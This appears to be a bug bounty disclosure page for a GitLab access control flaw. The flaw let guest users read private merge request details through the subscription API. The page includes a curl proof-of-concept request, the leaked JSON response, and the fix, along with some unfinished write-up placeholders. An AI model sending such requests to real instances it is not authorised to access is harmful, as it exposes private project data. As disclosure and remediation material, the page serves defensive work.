User with guest access can access private merge requests
A guest user in a private group could subscribe to a merge request they were not allowed to view, and the subscription API response revealed the merge request's private details. An attacker with guest access could therefore read private merge request information that should have been restricted.
- Triaged in 5 hours
- Fixed in 22 days
- Disclosed after 22 days
Vulnerability details
A guest user to a private group, cannot access a project's merge requests. However, through the subscription API, an attacker can (un)subscribe itself to a merge request, revealing private information that shouldn't be accessible.
Impact
Merge request might contain private information that the repository owner does not want to reveal to guest access users.
Proof of concept
- As a group / project owner, invite someone with guest access
- As the same user, create a merge request - this MR is not accessible by users with guest access
- Accept the invitation as a new user and create an API token for your account
- Now send a
POSTrequest to the subscription API with a reference to the MR:
Request
curl -X POST -H "Private-Token: XXXX" http://gitlab-instance/api/v3/projects/1/merge_requests/1/subscription
Response
{
"id": 2,
"iid": 2,
"project_id": 1,
"title": "<title>",
"description": "<description>",
"state": "opened",
"created_at": "2017-01-01T19:55:03.121Z",
"updated_at": "2017-01-01T19:55:03.121Z",
"target_branch": "master",
"source_branch": "dev",
"upvotes": 0,
"downvotes": 0,
"author": {
"name": "XXX",
"username": "XXX",
"id": 1,
"state": "active",
"avatar_url": "...",
"web_url": "..."
},
"assignee": null,
"source_project_id": 2,
"target_project_id": 2,
"labels": [
],
"work_in_progress": false,
"milestone": null,
"merge_when_build_succeeds": false,
"merge_status": "can_be_merged",
"sha": "c60a6c2312c184942b19c1828abb3d65e66c01c7",
"merge_commit_sha": null,
"subscribed": true,
"user_notes_count": 0,
"approvals_before_merge": null,
"should_remove_source_branch": null,
"force_remove_source_branch": false,
"web_url": "..."
}
You'll notice that when requesting the MR directly, the server will return a 403.
Request
curl -X GET -H "Private-Token: XXXX" http://gitlab-instance/api/v3/projects/1/merge_requests/2
Response
{"message":"403 Forbidden"}
Remediation
Use the appropriate finder in the lib/api/subscriptions.rb on line 6 and 7 instead of calling find directly on the merge_requests relationship. This will scope the available merge requests to the ones that the user can subscribe to.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
The subscription API looked up merge requests directly through the project relationship without applying the permission checks that normally restrict which merge requests a user may access.
Impact
A guest user could read private merge request details, including title, description and branches, that the repository owner did not intend to reveal to them.
What the attacker needed
Guest access to a private group or project; an API token for the guest account; a merge request the guest cannot normally view
The fix
The subscription API should use the appropriate finder that scopes merge requests to those the user is allowed to subscribe to, rather than looking them up directly.
How it was found
- As a group or project owner, invite someone with guest access.
- As the same user, create a merge request that guest users cannot access.
- Accept the invitation as a new user and create an API token for the account.
- Send a POST request to the subscription API with a reference to the merge request.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A guest user is someone with limited access to a private project. Normally they cannot see merge requests, which are proposals to change code. The subscription feature let them sign up to receive updates about a merge request, and the reply to that request included the full private details, so they could read something they were not supposed to see.
What is Access control?
A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.